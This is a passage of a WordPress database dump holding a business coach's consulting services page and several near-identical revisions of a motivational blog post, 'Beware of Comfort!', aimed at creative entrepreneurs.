(2073, 2, '2012-05-10 15:58:12', '2012-05-10 22:58:12', '<h2><img class="alignnone size-full wp-image-1571" title="innovation.cover_" src="http://whc.fbdev.org/wp-content/uploads/2009/04/innovation.cover_.jpg" alt="" width="500" height="265" /></h2>\r\n<h2><strong style="color: #ff6600;">In one-on-one and in group settings, I work exclusively with early stage creative entrepreneurs and solo professionals to inspire, guide and create ideas to help them gain greater clarity and confidence to pursue their best opportunities to have more impact, influence and income. </strong></h2>\r\n<strong>My clients include entrepreneurs from creative disciplines like </strong><strong></strong><strong>design, publishing, web/apps development, architecture, film and video, crafts, visual arts, fashion, advertising, writing, computer games, and music production. All these disciplines share creativity as the heart and soul of the business enterprise. </strong>\r\n\r\n<strong>I offer consulting in professional development, marketing and business development to guide you and your team to focus on new ideas, strategies and tactics to master the inner game (creative plane), and outer game (physical plane) of business (and life) success in four essential disciplines:</strong>\r\n\r\n<strong>Leadership</strong>\r\nExpanding the quality of your presence and influence in the marketplace by elevating your thoughts, your effectiveness, and your contributions to others.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDeveloping a compelling vision for your total life/business experience based solely on what truly matters to you, leverages your unique talents, and brings you greater joy, fulfillment and deep satisfaction.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design ways to monetize what deeply matters to you in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and competitive advantage through sales, lmarketing, business development and communication strategies that position your business as highly valued by the best customers and clients, and removes you from the slush pile of competitors.\r\n\r\n<strong>Three decades of business development expertise.</strong>\r\n\r\n<strong> </strong>For over 25 years, as principal and founder of my own marketing communications and <a title="Learn more about PULL Brand Innovation" href="http://www.pullinc.com" target="_blank">design agency,</a> I have developed millions of dollars of revenue from clients in my own creative business. I know first-hand the focus and discipline necessary to successfully attract, develop and serve high value clients and customers that represent a bigger future doing the type of work that matters to you and creates sustained financial success. I also know from my own experience the challenges and struggles with business development, managing client expectations, managing staff and collaborators that face all creative entrepreneurs along their way to building a profitable creative business.\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>Quantum Leap\r\nBusiness Development Consulting</h2>\r\nConsulting and coaching tailored to the specific needs of  forward thinking, early-stage creative entrepreneurs and solo creative professionals who want to be more effective in every aspect of their personal and professional life. Through insight, guidance and creativity, I''ll help you focus on your best opportunities, leverage your personal strtengths and effectiveness, and gain more clarity and confidence by an order of magnitude to make a quantum leap in your business development success.\r\n\r\n<strong>This consulting program is designed to help those entrepreneurs currently generating at least $150,000 in annual gross revenue.</strong>\r\n\r\nYou shouldn’t be surprised to learn that peak performance and unconventional success will require unconventional thinking. Quantum leaps require the type of thinking that removes the safety and security of your current beliefs so you can accelerate your rate of achievement.  I''ll help you to kick up your game!  (and be the kick in ass when required).  I''ll work with you (and your team) to shift your thinking from limits and obstacles to potential and possibilities. I can help increase your awareness, clarity and confidence to pursue your best opportunities to experience your bigger, better future.\r\n\r\n<strong>On-going business development and management consulting that will inspire you to increase the quality of your presence in every aspect of your business and life success, and provide tools and maps to help you get there. Our consulting format is highly flexible, (and virtual) involving weekly personal and online interaction that will enable you to laser focus on innovative ideas and practices to make a quantum leap to your next level of business and life success.\r\n</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Investment: $1,500 USD, monthly</strong></span>\r\n<h1><span style="color: #ff6600;"><strong><img class="alignnone size-full wp-image-1716" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-pic.jpg" alt="" width="450" height="242" /></strong></span><span style="color: #ff6600;"><span style="color: #333333;">Start the burn!</span></span><strong></strong></h1>\r\n<strong>Why work with me?</strong>\r\n\r\nEvery business development consultant will offer you the benefits of their personal experience and advice from the trenches. That’s a given and I’m no different.\r\n\r\nFor nearly 30 years, as a creative entrepreneur and design professional, I’ve sold in millions of dollars of revenue from thousands of projects in my own creative business. I know what it takes to create new business from scratch without the benefits of referrals and buddies in the right places.\r\n\r\nI know how long the sales cycle really is, and how frustrating generating prospects and sales conversation are for creative types. I know the challenges involved selling in your ideas and developing proposals that win business. I know the pressure of meeting a payroll every week too.\r\n\r\nRunning your own show has its challenges particularly at the early-stages of your business growth. I’ve been there–but so what? How will that help you get to where you want to go?\r\n\r\nHere’s my two-word answer: clarity and confidence.\r\n\r\nYou don’t want a consultant. You want clarity to lock onto a big vision for your future, and the confidence to pursue it with passion and discipline. I can help you get “there” by keeping you in the right frame of mind now to creative and innovate the type of business that gives you far more energy than what it takes from you. I can help you build a foundation for your business success that provides you with joy, freedom, fulfillment, deep satisfaction, and financial success!\r\n<h2><span style="color: #ff6600;">Send me email: <a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a> </span></h2>\r\nBriefly outline your current business circumstances, and what your expectations are for a positive outcome from working together. From there, we can arrange a telephone conversation to determine if there''s a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closer to realizing your vision for your bigger future.\r\n<p style="color: #ff6600;"><span style="color: #ff6600;">I am looking forward to working with you.</span></p>', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2012-05-10 15:58:12', '2012-05-10 22:58:12', '', 138, 'http://www.whitehotcenter.com/2012/05/138-revision-179/', 0, 'revision', '', 0),
(2074, 2, '2012-05-27 09:04:14', '2012-05-27 16:04:14', '<img class="alignnone size-full wp-image-2075" title="beware of comfort" src="http://whc.fbdev.org/wp-content/uploads/2012/05/comfort.jpg" alt="" width="495" height="495" />\r\n<h1><span style="color: #808080;">Everybody wants to be comfortable. It’s only natural to want to have your scene handled living in comfort knowing all is well around you. For many creative entrepreneurs the idea of growing their business to a level where they can chill is compelling indeed. Beware of comfort–it will put you to sleep.</span></h1>\r\nNo doubt about it, growing an independent creative business can be a very stressful, worrisome and anxiety-ridden experience. It’s compelling to yearn for the day when everything will be, at long last, more comfortable and in cruise-control mode.\r\n\r\nThat’s an illusion.\r\n\r\nComfort is a rattlesnake ready to lunge out with ferocity and bite you in the ass as you make your perfect plan to stay comfortable. If you’re comfortable in your business (and in your life) chances are you’re not growing. Chances are, underneath your awareness, things might be sliding back in the wrong direction. Comfort breeds complacency.\r\n\r\n<strong>There is no there, there.</strong>\r\n\r\nEvery success-minded person I’ve worked with sets goals and eagerly goes about the business of accomplishing them. Once there however, in that place of accomplishment, one can get comfortable with the idea of being –accomplished. After a while your accomplishment becomes the status quo. Then there’s trouble in paradise!\r\n\r\nI vividly recall my own early years of building my design firm. I was relentless about growing the business, learning how to sell, adding more and better clients, more employees, more awards, and more overhead. Over a period of about a decade, I actually reached the level of success that I had been visualizing in my mind all that time. I had finally “made it”!\r\n\r\nAfter another period of time, I became comfortable with that level of accomplishment. I operated on the idea that “if it ain’t broke don’t fix it”.  Everything seemed to be humming along just as I had planned.  I was confident and comfortable in my belief that all was well and the machine I had created would keep running on and on.\r\n\r\nWhat I didn’t realize in the comfort and complacency of my success was I had become stale as week old bread! What was once a sharp edge of learning, growth and expansion became dull, routine and predictable. The work I was doing was no longer exciting or challenging but the money was good. Oh yeah I got very comfortable with the money too! I had snared myself in my own trap. The business owned me now. My enthusiasm for the work began to erode and finally the flame went out. Game over.\r\n\r\n<strong>Whatever stops growing starts dying.</strong>\r\n\r\nDon’t allow yourself to become too comfortable in your success. When you stop growing and expanding your knowledge, skill and capability, you start the process of decay. You might not realize it, but it happens.\r\n\r\nGrowth and expansion involves constantly being out on the frontier of your experience. Like any adventurer to the frontier, you leave the comforts of your known experience behind. To keep yourself sharp and alive, you have to punch at the edges of your comfort zone. This friction of rubbing up against the wall is where the real juice of creativity and innovation is experienced. Continued growth is the natural order of things. All creation busts out of nothingness of the unknown. The same is true for the on-going growth of your business.\r\n<h2>It’s fair to say that being satisfied and comfortable with where you’re at is a good reason to kick back. Indeed, being satisfied with your accomplishments is necessary to enjoy them, just don’t let your satisfaction stop you from learning more, contributing more, creating more.</h2>\r\nThe very nature of the creative process is a non-stop, life-long experience of bringing new ideas to the world to serve people.  This will involve continuously risking aspects of your comfort.\r\n\r\nOnly through your continued growth will you sustain your creative edge in the delicate dance of bringing value to the world and experiencing the fulfillment of knowing your presence makes a difference.', 'Beware of Comfort!', 0, '', 'publish', 'open', 'open', '', 'beware-of-comfort', '', '', '2012-05-27 09:04:14', '2012-05-27 16:04:14', '', 0, 'http://www.whitehotcenter.com/?p=2074', 0, 'post', '', 2),
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(2076, 2, '2012-05-27 08:54:48', '2012-05-27 15:54:48', '<img class="alignnone size-full wp-image-2075" title="beware of comfort" src="http://whc.fbdev.org/wp-content/uploads/2012/05/comfort.jpg" alt="" width="495" height="495" />\n<h1><span style="color: #808080;">Everybody wants to be comfortable. It’s only human to want to have your scene handled living in comfort knowing all is well around you. For many creative entrepreneurs the idea of growing their business to a level where they can chill is compelling indeed. Beware of comfort–it will put you to sleep.</span></h1>\nNo doubt about it, growing an independent creative business can be a very stressful, worrisome and anxiety-ridden experience. It’s compelling to yearn for the day when everything will be, at long last, more comfortable and in cruise-control mode.\n\nThat’s an illusion.\n\nComfort is a rattlesnake ready to lunge out with ferocity and bite you in the ass as you make your perfect plan to stay comfortable. If you’re comfortable in your business (and in your life) chances are you’re not growing. Chances are, underneath your awareness, things might be sliding back in the wrong direction. Comfort breeds complacency.\n\n<strong>There is no there, there.</strong>\n\nEvery success-minded person I’ve worked with sets goals and eagerly goes about the business of accomplishing them. Once there however, in that place of accomplishment, one can get comfortable with the idea of being –accomplished. After a while your accomplishment becomes the status quo. Then there’s trouble in paradise!\n\nI vividly recall my own early years of building my design firm. I was relentless about growing the business, learning how to sell, adding more and better clients, more employees, more awards, and more overhead. Over a period of about a decade, I actually reached the level of success that I had been visualizing in my mind all that time. I had finally “made it”!\n\nAfter another period of time, I became comfortable with that level of accomplishment. I operated on the idea that “if it ain’t broke don’t fix it”.  Everything seemed to be humming along just as I had planned.  I was confident and comfortable in my belief that all was well and the machine I had created would keep running on and on.\n\nWhat I didn’t realize in the comfort and complacency of my success was I had become stale as week old bread! What was once a sharp edge of learning, growth and expansion became dull, routine and predictable. The work I was doing was no longer exciting or challenging but the money was good. Oh yeah I got very comfortable with the money too! I had snared myself in my own trap. The business owned me now. My enthusiasm for the work began to erode and finally the flame went out. Game over.\n\n<strong>Whatever stops growing starts dying.</strong>\n\nDon’t allow yourself to become too comfortable in your success. When you stop growing and expanding your knowledge, skill and capability, you start the process of decay. You might not realize it, but it happens.\n\nGrowth and expansion involves constantly being out on the frontier of your experience. Like any adventurer to the frontier, you leave the comforts of your known experience behind. To keep yourself sharp and alive, you have to punch at the edges of your comfort zone. This friction of rubbing up against the wall is where the real juice of creativity and innovation is experienced. Continued growth is the natural order of things. All creation busts out of nothingness of the unknown. The same is true for the on-going growth of your business.\n<h2>It’s fair to say that being satisfied and comfortable with where you’re at is a good reason to kick back. Indeed, being satisfied with your accomplishments is necessary to enjoy them, just don’t let your satisfaction stop you from learning more, contributing more, creating more.</h2>\nThe very nature of the creative process is a non-stop, life-long experience of bringing new ideas to the world to serve people.  This will involve continuously risking aspects of your comfort.\n\nOnly through your continued growth will you sustain your creative edge in the delicate dance of bringing value to the world and experiencing the fulfillment of knowing your presence makes a difference.', 'Beware of Comfort!', 0, '', 'inherit', 'open', 'open', '', '2074-revision', '', '', '2012-05-27 08:54:48', '2012-05-27 15:54:48', '', 2074, 'http://www.whitehotcenter.com/2012/05/2074-revision/', 0, 'revision', '', 0),
(2077, 2, '2012-05-27 08:55:01', '2012-05-27 15:55:01', '<img class="alignnone size-full wp-image-2075" title="beware of comfort" src="http://whc.fbdev.org/wp-content/uploads/2012/05/comfort.jpg" alt="" width="495" height="495" />\r\n<h1><span style="color: #808080;">Everybody wants to be comfortable. It’s only human to want to have your scene handled living in comfort knowing all is well around you. For many creative entrepreneurs the idea of growing their business to a level where they can chill is compelling indeed. Beware of comfort–it will put you to sleep.</span></h1>\r\nNo doubt about it, growing an independent creative business can be a very stressful, worrisome and anxiety-ridden experience. It’s compelling to yearn for the day when everything will be, at long last, more comfortable and in cruise-control mode.\r\n\r\nThat’s an illusion.\r\n\r\nComfort is a rattlesnake ready to lunge out with ferocity and bite you in the ass as you make your perfect plan to stay comfortable. If you’re comfortable in your business (and in your life) chances are you’re not growing. Chances are, underneath your awareness, things might be sliding back in the wrong direction. Comfort breeds complacency.\r\n\r\n<strong>There is no there, there.</strong>\r\n\r\nEvery success-minded person I’ve worked with sets goals and eagerly goes about the business of accomplishing them. Once there however, in that place of accomplishment, one can get comfortable with the idea of being –accomplished. After a while your accomplishment becomes the status quo. Then there’s trouble in paradise!\r\n\r\nI vividly recall my own early years of building my design firm. I was relentless about growing the business, learning how to sell, adding more and better clients, more employees, more awards, and more overhead. Over a period of about a decade, I actually reached the level of success that I had been visualizing in my mind all that time. I had finally “made it”!\r\n\r\nAfter another period of time, I became comfortable with that level of accomplishment. I operated on the idea that “if it ain’t broke don’t fix it”.  Everything seemed to be humming along just as I had planned.  I was confident and comfortable in my belief that all was well and the machine I had created would keep running on and on.\r\n\r\nWhat I didn’t realize in the comfort and complacency of my success was I had become stale as week old bread! What was once a sharp edge of learning, growth and expansion became dull, routine and predictable. The work I was doing was no longer exciting or challenging but the money was good. Oh yeah I got very comfortable with the money too! I had snared myself in my own trap. The business owned me now. My enthusiasm for the work began to erode and finally the flame went out. Game over.\r\n\r\n<strong>Whatever stops growing starts dying.</strong>\r\n\r\nDon’t allow yourself to become too comfortable in your success. When you stop growing and expanding your knowledge, skill and capability, you start the process of decay. You might not realize it, but it happens.\r\n\r\nGrowth and expansion involves constantly being out on the frontier of your experience. Like any adventurer to the frontier, you leave the comforts of your known experience behind. To keep yourself sharp and alive, you have to punch at the edges of your comfort zone. This friction of rubbing up against the wall is where the real juice of creativity and innovation is experienced. Continued growth is the natural order of things. All creation busts out of nothingness of the unknown. The same is true for the on-going growth of your business.\r\n<h2>It’s fair to say that being satisfied and comfortable with where you’re at is a good reason to kick back. Indeed, being satisfied with your accomplishments is necessary to enjoy them, just don’t let your satisfaction stop you from learning more, contributing more, creating more.</h2>\r\nThe very nature of the creative process is a non-stop, life-long experience of bringing new ideas to the world to serve people.  This will involve continuously risking aspects of your comfort.\r\n\r\nOnly through your continued growth will you sustain your creative edge in the delicate dance of bringing value to the world and experiencing the fulfillment of knowing your presence makes a difference.', 'Beware of Comfort!', 0, '', 'inherit', 'open', 'open', '', '2074-revision-2', '', '', '2012-05-27 08:55:01', '2012-05-27 15:55:01', '', 2074, 'http://www.whitehotcenter.com/2012/05/2074-revision-2/', 0, 'revision', '', 0),
(2078, 2, '2012-05-27 08:55:12', '2012-05-27 15:55:12', '<img class="alignnone size-full wp-image-2075" title="beware of comfort" src="http://whc.fbdev.org/wp-content/uploads/2012/05/comfort.jpg" alt="" width="495" height="495" />\r\n<h1><span style="color: #808080;">Everybody wants to be comfortable. It’s only human to want to have your scene handled living in comfort knowing all is well around you. For many creative entrepreneurs the idea of growing their business to a level where they can chill is compelling indeed. Beware of comfort–it will put you to sleep.</span></h1>\r\nNo doubt about it, growing an independent creative business can be a very stressful, worrisome and anxiety-ridden experience. It’s compelling to yearn for the day when everything will be, at long last, more comfortable and in cruise-control mode.\r\n\r\nThat’s an illusion.\r\n\r\nComfort is a rattlesnake ready to lunge out with ferocity and bite you in the ass as you make your perfect plan to stay comfortable. If you’re comfortable in your business (and in your life) chances are you’re not growing. Chances are, underneath your awareness, things might be sliding back in the wrong direction. Comfort breeds complacency.\r\n\r\n<strong>There is no there, there.</strong>\r\n\r\nEvery success-minded person I’ve worked with sets goals and eagerly goes about the business of accomplishing them. Once there however, in that place of accomplishment, one can get comfortable with the idea of being –accomplished. After a while your accomplishment becomes the status quo. Then there’s trouble in paradise!\r\n\r\nI vividly recall my own early years of building my design firm. I was relentless about growing the business, learning how to sell, adding more and better clients, more employees, more awards, and more overhead. Over a period of about a decade, I actually reached the level of success that I had been visualizing in my mind all that time. I had finally “made it”!\r\n\r\nAfter another period of time, I became comfortable with that level of accomplishment. I operated on the idea that “if it ain’t broke don’t fix it”.  Everything seemed to be humming along just as I had planned.  I was confident and comfortable in my belief that all was well and the machine I had created would keep running on and on.\r\n\r\nWhat I didn’t realize in the comfort and complacency of my success was I had become stale as week old bread! What was once a sharp edge of learning, growth and expansion became dull, routine and predictable. The work I was doing was no longer exciting or challenging but the money was good. Oh yeah I got very comfortable with the money too! I had snared myself in my own trap. The business owned me now. My enthusiasm for the work began to erode and finally the flame went out. Game over.\r\n\r\n<strong>Whatever stops growing starts dying.</strong>\r\n\r\nDon’t allow yourself to become too comfortable in your success. When you stop growing and expanding your knowledge, skill and capability, you start the process of decay. You might not realize it, but it happens.\r\n\r\nGrowth and expansion involves constantly being out on the frontier of your experience. Like any adventurer to the frontier, you leave the comforts of your known experience behind. To keep yourself sharp and alive, you have to punch at the edges of your comfort zone. This friction of rubbing up against the wall is where the real juice of creativity and innovation is experienced. Continued growth is the natural order of things. All creation busts out of nothingness of the unknown. The same is true for the on-going growth of your business.\r\n<h2>It’s fair to say that being satisfied and comfortable with where you’re at is a good reason to kick back. Indeed, being satisfied with your accomplishments is necessary to enjoy them, just don’t let your satisfaction stop you from learning more, contributing more, creating more.</h2>\r\nThe very nature of the creative process is a non-stop, life-long experience of bringing new ideas to the world to serve people.  This will involve continuously risking aspects of your comfort.\r\n\r\nOnly through your continued growth will you sustain your creative edge in the delicate dance of bringing value to the world and experiencing the fulfillment of knowing your presence makes a difference.', 'Beware of Comfort!', 0, '', 'inherit', 'open', 'open', '', '2074-revision-3', '', '', '2012-05-27 08:55:12', '2012-05-27 15:55:12', '', 2074, 'http://www.whitehotcenter.com/2012/05/2074-revision-3/', 0, 'revision', '', 0),
(2079, 2, '2012-05-27 08:59:10', '2012-05-27 15:59:10', '<img class="alignnone size-full wp-image-2075" title="beware of comfort" src="http://whc.fbdev.org/wp-content/uploads/2012/05/comfort.jpg" alt="" width="495" height="495" />\r\n<h1><span style="color: #808080;">Everybody wants to be comfortable. It’s only human to want to have your scene handled living in comfort knowing all is well around you. For many creative entrepreneurs the idea of growing their business to a level where they can chill is compelling indeed. Beware of comfort–it will put you to sleep.</span></h1>\r\nNo doubt about it, growing an independent creative business can be a very stressful, worrisome and anxiety-ridden experience. It’s compelling to yearn for the day when everything will be, at long last, more comfortable and in cruise-control mode.\r\n\r\nThat’s an illusion.\r\n\r\nComfort is a rattlesnake ready to lunge out with ferocity and bite you in the ass as you make your perfect plan to stay comfortable. If you’re comfortable in your business (and in your life) chances are you’re not growing. Chances are, underneath your awareness, things might be sliding back in the wrong direction. Comfort breeds complacency.\r\n\r\n<strong>There is no there, there.</strong>\r\n\r\nEvery success-minded person I’ve worked with sets goals and eagerly goes about the business of accomplishing them. Once there however, in that place of accomplishment, one can get comfortable with the idea of being –accomplished. After a while your accomplishment becomes the status quo. Then there’s trouble in paradise!\r\n\r\nI vividly recall my own early years of building my design firm. I was relentless about growing the business, learning how to sell, adding more and better clients, more employees, more awards, and more overhead. Over a period of about a decade, I actually reached the level of success that I had been visualizing in my mind all that time. I had finally “made it”!\r\n\r\nAfter another period of time, I became comfortable with that level of accomplishment. I operated on the idea that “if it ain’t broke don’t fix it”.  Everything seemed to be humming along just as I had planned.  I was confident and comfortable in my belief that all was well and the machine I had created would keep running on and on.\r\n\r\nWhat I didn’t realize in the comfort and complacency of my success was I had become stale as week old bread! What was once a sharp edge of learning, growth and expansion became dull, routine and predictable. The work I was doing was no longer exciting or challenging but the money was good. Oh yeah I got very comfortable with the money too! I had snared myself in my own trap. The business owned me now. My enthusiasm for the work began to erode and finally the flame went out. Game over.\r\n\r\n<strong>Whatever stops growing starts dying.</strong>\r\n\r\nDon’t allow yourself to become too comfortable in your success. When you stop growing and expanding your knowledge, skill and capability, you start the process of decay. You might not realize it, but it happens.\r\n\r\nGrowth and expansion involves constantly being out on the frontier of your experience. Like any adventurer to the frontier, you leave the comforts of your known experience behind. To keep yourself sharp and alive, you have to punch at the edges of your comfort zone. This friction of rubbing up against the wall is where the real juice of creativity and innovation is experienced. Continued growth is the natural order of things. All creation busts out of nothingness of the unknown. The same is true for the on-going growth of your business.\r\n<h2>It’s fair to say that being satisfied and comfortable with where you’re at is a good reason to kick back. Indeed, being satisfied with your accomplishments is necessary to enjoy them, just don’t let your satisfaction stop you from learning more, contributing more, creating more.</h2>\r\nThe very nature of the creative process is a non-stop, life-long experience of bringing new ideas to the world to serve people.  This will involve continuously risking aspects of your comfort.\r\n\r\nOnly through your continued growth will you sustain your creative edge in the delicate dance of bringing value to the world and experiencing the fulfillment of knowing your presence makes a difference.', 'Beware of Comfort!', 0, '', 'inherit', 'open', 'open', '', '2074-revision-4', '', '', '2012-05-27 08:59:10', '2012-05-27 15:59:10', '', 2074, 'http://www.whitehotcenter.com/2012/05/2074-revision-4/', 0, 'revision', '', 0),
(2080, 2, '2012-05-27 08:59:25', '2012-05-27 15:59:25', '<img class="alignnone size-full wp-image-2075" title="beware of comfort" src="http://whc.fbdev.org/wp-content/uploads/2012/05/comfort.jpg" alt="" width="495" height="495" />\r\n<h1><span style="color: #808080;">Everybody wants to be comfortable. It’s only human to want to have your scene handled living in comfort knowing all is well around you. For many creative entrepreneurs the idea of growing their business to a level where they can chill is compelling indeed. Beware of comfort–it will put you to sleep.</span></h1>\r\nNo doubt about it, growing an independent creative business can be a very stressful, worrisome and anxiety-ridden experience. It’s compelling to yearn for the day when everything will be, at long last, more comfortable and in cruise-control mode.\r\n\r\nThat’s an illusion.\r\n\r\nComfort is a rattlesnake ready to lunge out with ferocity and bite you in the ass as you make your perfect plan to stay comfortable. If you’re comfortable in your business (and in your life) chances are you’re not growing. Chances are, underneath your awareness, things might be sliding back in the wrong direction. Comfort breeds complacency.\r\n\r\n<strong>There is no there, there.</strong>\r\n\r\nEvery success-minded person I’ve worked with sets goals and eagerly goes about the business of accomplishing them. Once there however, in that place of accomplishment, one can get comfortable with the idea of being –accomplished. After a while your accomplishment becomes the status quo. Then there’s trouble in paradise!\r\n\r\nI vividly recall my own early years of building my design firm. I was relentless about growing the business, learning how to sell, adding more and better clients, more employees, more awards, and more overhead. Over a period of about a decade, I actually reached the level of success that I had been visualizing in my mind all that time. I had finally “made it”!\r\n\r\nAfter another period of time, I became comfortable with that level of accomplishment. I operated on the idea that “if it ain’t broke don’t fix it”.  Everything seemed to be humming along just as I had planned.  I was confident and comfortable in my belief that all was well and the machine I had created would keep running on and on.\r\n\r\nWhat I didn’t realize in the comfort and complacency of my success was I had become stale as week old bread! What was once a sharp edge of learning, growth and expansion became dull, routine and predictable. The work I was doing was no longer exciting or challenging but the money was good. Oh yeah I got very comfortable with the money too! I had snared myself in my own trap. The business owned me now. My enthusiasm for the work began to erode and finally the flame went out. Game over.\r\n\r\n<strong>Whatever stops growing starts dying.</strong>\r\n\r\nDon’t allow yourself to become too comfortable in your success. When you stop growing and expanding your knowledge, skill and capability, you start the process of decay. You might not realize it, but it happens.\r\n\r\nGrowth and expansion involves constantly being out on the frontier of your experience. Like any adventurer to the frontier, you leave the comforts of your known experience behind. To keep yourself sharp and alive, you have to punch at the edges of your comfort zone. This friction of rubbing up against the wall is where the real juice of creativity and innovation is experienced. Continued growth is the natural order of things. All creation busts out of nothingness of the unknown. The same is true for the on-going growth of your business.\r\n<h2>It’s fair to say that being satisfied and comfortable with where you’re at is a good reason to kick back. Indeed, being satisfied with your accomplishments is necessary to enjoy them, just don’t let your satisfaction stop you from learning more, contributing more, creating more.</h2>\r\nThe very nature of the creative process is a non-stop, life-long experience of bringing new ideas to the world to serve people.  This will involve continuously risking aspects of your comfort.\r\n\r\nOnly through your continued growth will you sustain your creative edge in the delicate dance of bringing value to the world and experiencing the fulfillment of knowing your presence makes a difference.', 'Beware of Comfort!', 0, '', 'inherit', 'open', 'open', '', '2074-revision-5', '', '', '2012-05-27 08:59:25', '2012-05-27 15:59:25', '', 2074, 'http://www.whitehotcenter.com/2012/05/2074-revision-5/', 0, 'revision', '', 0),
(2081, 2, '2012-05-27 09:00:19', '2012-05-27 16:00:19', '<img class="alignnone size-full wp-image-2075" title="beware of comfort" src="http://whc.fbdev.org/wp-content/uploads/2012/05/comfort.jpg" alt="" width="495" height="495" />\r\n<h1><span style="color: #808080;">Everybody wants to be comfortable. It’s only natural to want to have your scene handled living in comfort knowing all is well around you. For many creative entrepreneurs the idea of growing their business to a level where they can chill is compelling indeed. Beware of comfort–it will put you to sleep.</span></h1>\r\nNo doubt about it, growing an independent creative business can be a very stressful, worrisome and anxiety-ridden experience. It’s compelling to yearn for the day when everything will be, at long last, more comfortable and in cruise-control mode.\r\n\r\nThat’s an illusion.\r\n\r\nComfort is a rattlesnake ready to lunge out with ferocity and bite you in the ass as you make your perfect plan to stay comfortable. If you’re comfortable in your business (and in your life) chances are you’re not growing. Chances are, underneath your awareness, things might be sliding back in the wrong direction. Comfort breeds complacency.\r\n\r\n<strong>There is no there, there.</strong>\r\n\r\nEvery success-minded person I’ve worked with sets goals and eagerly goes about the business of accomplishing them. Once there however, in that place of accomplishment, one can get comfortable with the idea of being –accomplished. After a while your accomplishment becomes the status quo. Then there’s trouble in paradise!\r\n\r\nI vividly recall my own early years of building my design firm. I was relentless about growing the business, learning how to sell, adding more and better clients, more employees, more awards, and more overhead. Over a period of about a decade, I actually reached the level of success that I had been visualizing in my mind all that time. I had finally “made it”!\r\n\r\nAfter another period of time, I became comfortable with that level of accomplishment. I operated on the idea that “if it ain’t broke don’t fix it”.  Everything seemed to be humming along just as I had planned.  I was confident and comfortable in my belief that all was well and the machine I had created would keep running on and on.\r\n\r\nWhat I didn’t realize in the comfort and complacency of my success was I had become stale as week old bread! What was once a sharp edge of learning, growth and expansion became dull, routine and predictable. The work I was doing was no longer exciting or challenging but the money was good. Oh yeah I got very comfortable with the money too! I had snared myself in my own trap. The business owned me now. My enthusiasm for the work began to erode and finally the flame went out. Game over.\r\n\r\n<strong>Whatever stops growing starts dying.</strong>\r\n\r\nDon’t allow yourself to become too comfortable in your success. When you stop growing and expanding your knowledge, skill and capability, you start the process of decay. You might not realize it, but it happens.\r\n\r\nGrowth and expansion involves constantly being out on the frontier of your experience. Like any adventurer to the frontier, you leave the comforts of your known experience behind. To keep yourself sharp and alive, you have to punch at the edges of your comfort zone. This friction of rubbing up against the wall is where the real juice of creativity and innovation is experienced. Continued growth is the natural order of things. All creation busts out of nothingness of the unknown. The same is true for the on-going growth of your business.\r\n<h2>It’s fair to say that being satisfied and comfortable with where you’re at is a good reason to kick back. Indeed, being satisfied with your accomplishments is necessary to enjoy them, just don’t let your satisfaction stop you from learning more, contributing more, creating more.</h2>\r\nThe very nature of the creative process is a non-stop, life-long experience of bringing new ideas to the world to serve people.  This will involve continuously risking aspects of your comfort.\r\n\r\nOnly through your continued growth will you sustain your creative edge in the delicate dance of bringing value to the world and experiencing the fulfillment of knowing your presence makes a difference.', 'Beware of Comfort!', 0, '', 'inherit', 'open', 'open', '', '2074-revision-6', '', '', '2012-05-27 09:00:19', '2012-05-27 16:00:19', '', 2074, 'http://www.whitehotcenter.com/2012/05/2074-revision-6/', 0, 'revision', '', 0),
(2082, 2, '2012-05-27 09:00:27', '2012-05-27 16:00:27', '<img class="alignnone size-full wp-image-2075" title="beware of comfort" src="http://whc.fbdev.org/wp-content/uploads/2012/05/comfort.jpg" alt="" width="495" height="495" />\r\n<h1><span style="color: #808080;">Everybody wants to be comfortable. It’s only natural to want to have your scene handled living in comfort knowing all is well around you. For many creative entrepreneurs the idea of growing their business to a level where they can chill is compelling indeed. Beware of comfort–it will put you to sleep.</span></h1>\r\nNo doubt about it, growing an independent creative business can be a very stressful, worrisome and anxiety-ridden experience. It’s compelling to yearn for the day when everything will be, at long last, more comfortable and in cruise-control mode.\r\n\r\nThat’s an illusion.\r\n\r\nComfort is a rattlesnake ready to lunge out with ferocity and bite you in the ass as you make your perfect plan to stay comfortable. If you’re comfortable in your business (and in your life) chances are you’re not growing. Chances are, underneath your awareness, things might be sliding back in the wrong direction. Comfort breeds complacency.\r\n\r\n<strong>There is no there, there.</strong>\r\n\r\nEvery success-minded person I’ve worked with sets goals and eagerly goes about the business of accomplishing them. Once there however, in that place of accomplishment, one can get comfortable with the idea of being –accomplished. After a while your accomplishment becomes the status quo. Then there’s trouble in paradise!\r\n\r\nI vividly recall my own early years of building my design firm. I was relentless about growing the business, learning how to sell, adding more and better clients, more employees, more awards, and more overhead. Over a period of about a decade, I actually reached the level of success that I had been visualizing in my mind all that time. I had finally “made it”!\r\n\r\nAfter another period of time, I became comfortable with that level of accomplishment. I operated on the idea that “if it ain’t broke don’t fix it”.  Everything seemed to be humming along just as I had planned.  I was confident and comfortable in my belief that all was well and the machine I had created would keep running on and on.\r\n\r\nWhat I didn’t realize in the comfort and complacency of my success was I had become stale as week old bread! What was once a sharp edge of learning, growth and expansion became dull, routine and predictable. The work I was doing was no longer exciting or challenging but the money was good. Oh yeah I got very comfortable with the money too! I had snared myself in my own trap. The business owned me now. My enthusiasm for the work began to erode and finally the flame went out. Game over.\r\n\r\n<strong>Whatever stops growing starts dying.</strong>\r\n\r\nDon’t allow yourself to become too comfortable in your success. When you stop growing and expanding your knowledge, skill and capability, you start the process of decay. You might not realize it, but it happens.\r\n\r\nGrowth and expansion involves constantly being out on the frontier of your experience. Like any adventurer to the frontier, you leave the comforts of your known experience behind. To keep yourself sharp and alive, you have to punch at the edges of your comfort zone. This friction of rubbing up against the wall is where the real juice of creativity and innovation is experienced. Continued growth is the natural order of things. All creation busts out of nothingness of the unknown. The same is true for the on-going growth of your business.\r\n<h2>It’s fair to say that being satisfied and 